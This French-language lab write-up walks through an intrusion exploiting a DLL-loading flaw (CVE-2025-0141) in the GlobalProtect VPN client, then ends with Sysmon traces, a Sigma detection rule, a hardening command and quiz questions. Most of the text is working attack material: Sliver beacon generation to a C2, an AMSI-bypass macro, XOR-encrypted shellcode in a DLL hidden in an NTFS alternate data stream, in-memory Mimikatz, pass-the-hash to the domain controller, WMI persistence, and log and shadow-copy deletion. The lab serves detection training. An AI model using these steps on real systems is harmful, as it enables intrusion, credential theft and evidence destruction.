De l'infrastructure aux contre‑mesures : un scénario d'intrusion moderne décortiqué étape par étape.
Ce laboratoire reproduit une attaque ciblée exploitant la vulnérabilité CVE‑2025‑0141, un chemin de recherche non sécurisé dans le client VPN GlobalProtect de Palo Alto Networks. Vous apprendrez à :
Le dépôt du laboratoire contient un Vagrantfile et des scripts d'amorçage. Exemple pour CLIENT01 :
Vagrant.configure("2") do |config|
config.vm.define "client01" do |c|
c.vm.box = "gusztavvargadr/windows-10-22h2"
c.vm.network "private_network", ip: "192.168.56.101"
c.vm.provision "shell", inline: <<-POWERSHELL
# Installation de GlobalProtect 6.1.4 vulnérable
Invoke-WebRequest -Uri "http://192.168.56.1/gp.msi" -OutFile "$env:TEMP\\gp.msi"
Start-Process msiexec -Wait -ArgumentList "/i $env:TEMP\\gp.msi /qn"
# Sysmon avec config SwiftOnSecurity
Invoke-WebRequest -Uri "http://192.168.56.1/sysmon-config.xml" -OutFile "$env:TEMP\\sysmon.xml"
.\Sysmon64.exe -accepteula -i "$env:TEMP\\sysmon.xml"
# Winlogbeat pour envoi vers SIEM
...
POWERSHELL
end
end
lab.local, utilisateur admin.local\Administrator, quelques comptes de service.lab\jean membre du groupe Utilisateurs. Le service PanGPS tourne en SYSTEM.192.168.56.1:443, scripts de génération de payloads.L'attaquant envoie un email contenant un document Word malveillant. À l'ouverture, une macro VBA exécute un shellcode Sliver en mémoire.
sliver > generate beacon --mtls 192.168.56.1:443 --save /tmp/beacon.bin --format shellcode
Pour éviter la détection par AMSI, la macro patche la mémoire d'amsi.dll avant d'exécuter la charge PowerShell.
' Technique AMSI bypass (extrait VBA)
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
' ... patch amsi!AmsiScanBuffer ...
Sub AutoOpen()
' AMSI bypass + injection du shellcode via VirtualAlloc / CreateThread
End Sub
L'utilisateur ouvre le document, le beacon Sliver se connecte au C2. L'attaquant obtient un shell interactif avec les droits de lab\jean.
Depuis le beacon Sliver, l'attaquant énumère le système pour identifier le chemin d'élévation.
sliver (beacon) > execute whoami /priv
sliver (beacon) > execute net user jean
sliver (beacon) > execute wmic product get name,version | findstr GlobalProtect
sliver (beacon) > execute icacls "C:\ProgramData\Palo Alto Networks\GlobalProtect\cache"
sliver (beacon) > execute sc qc PanGPS
Le service PanGPS tourne en NT AUTHORITY\SYSTEM. Le dossier cache est accessible en écriture aux utilisateurs. La version 6.1.4 est vulnérable. Toutes les conditions sont réunies.
Pour échapper aux EDR, la DLL n'est jamais écrite sur le disque sous sa forme déchiffrée. Le shellcode Sliver est d'abord chiffré en XOR, puis intégré dans une DLL qui se déchiffre en mémoire au moment du chargement.
# Chiffrement
python3 xor.py /tmp/beacon.bin 0xAA > /tmp/beacon_enc.bin
# Génération du tableau C pour inclusion
xxd -i /tmp/beacon_enc.bin
// payload.c
#include <windows.h>
unsigned char enc[] = { 0x4d, 0x8f, ... }; // shellcode XOR 0xAA
void decrypt() { for(int i=0;i<sizeof(enc);i++) enc[i]^=0xAA; }
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID lp) {
if(r == DLL_PROCESS_ATTACH) {
decrypt();
DWORD old;
VirtualProtect(enc, sizeof(enc), PAGE_EXECUTE_READWRITE, &old);
((void(*)())enc)();
}
return TRUE;
}
Sur NTFS, on place la DLL dans un flux ADS pour éviter qu'elle n'apparaisse dans les listes de fichiers ordinaires.
sliver (beacon) > upload pan.dll "C:\ProgramData\Palo Alto Networks\GlobalProtect\cache:pan.dll"
sliver (beacon) > execute sc stop PanGPS
sliver (beacon) > execute sc start PanGPS
Au démarrage, PanGPS.exe appelle LoadLibrary("pan.dll"). Grâce à la modification du répertoire de travail, il trouve notre flux ADS, charge la DLL, exécute DllMain qui déchiffre le shellcode et lance un nouveau beacon Sliver avec les droits SYSTEM.
Pour éviter un fichier mimikatz.exe sur le disque, l'attaquant utilise execute-assembly de Sliver pour charger Mimikatz en mémoire.
sliver (beacon-system) > execute-assembly /tmp/mimikatz.exe "sekurlsa::logonpasswords" "exit"
Il récupère le hash NTLM du compte Administrateur du domaine, ainsi que des tickets Kerberos exploitables.
sliver (beacon-system) > psexec --host 192.168.56.10 --user Administrator --hash <NTLM> --payload /tmp/beacon.exe
Un nouveau beacon Sliver s'exécute sur le DC avec les privilèges SYSTEM.
L'attaquant installe plusieurs mécanismes de persistance :
HKCU\Software\Microsoft\Windows\CurrentVersion\Run avec un chemin ADS.# Exemple de persistance WMI
wmic /namespace:"\\root\subscription" PATH __EventFilter CREATE Name="GPUpdate", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 1800 WHERE TargetInstance ISA 'Win32_LocalTime'"
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="GPUpdateConsumer", CommandLineTemplate="rundll32.exe C:\\Windows\\Temp\\pan.dll,Start"
sliver (beacon-system) > execute wevtutil cl System
sliver (beacon-system) > execute wevtutil cl Security
sliver (beacon-system) > execute vssadmin delete shadows /all /quiet
Malgré l'effacement des logs, les événements Sysmon sont centralisés en temps réel vers le SIEM. Voici les traces incontournables.
EventID: 7
UtcTime: 2025-07-18 12:03:45.123
Image: C:\Program Files\Palo Alto Networks\GlobalProtect\PanGPS.exe
ImageLoaded: C:\ProgramData\Palo Alto Networks\GlobalProtect\cache\pan.dll
SignatureStatus: Invalid
Hashes: SHA256=7B3E...
title: GlobalProtect CVE-2025-0141 – DLL malveillante chargée depuis cache
id: 9b4f8c3d-...
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 7
Image|endswith: '\PanGPS.exe'
ImageLoaded|contains: '\cache\'
ImageLoaded|endswith: '.dll'
SignatureStatus: 'Invalid'
condition: selection
level: critical
wevtutil cl depuis PanGPS.exe (parent process inhabituel).cache : icacls "C:\ProgramData\Palo Alto Networks\GlobalProtect\cache" /inheritance:r /grant SYSTEM:(OI)(CI)F1. Quel mécanisme NTFS a été utilisé pour dissimuler la DLL malveillante ?
2. Quelle commande Sysmon permet de capturer le chargement de DLL ?
3. Pourquoi le Safe DLL Search Mode ne protège-t-il pas ici ?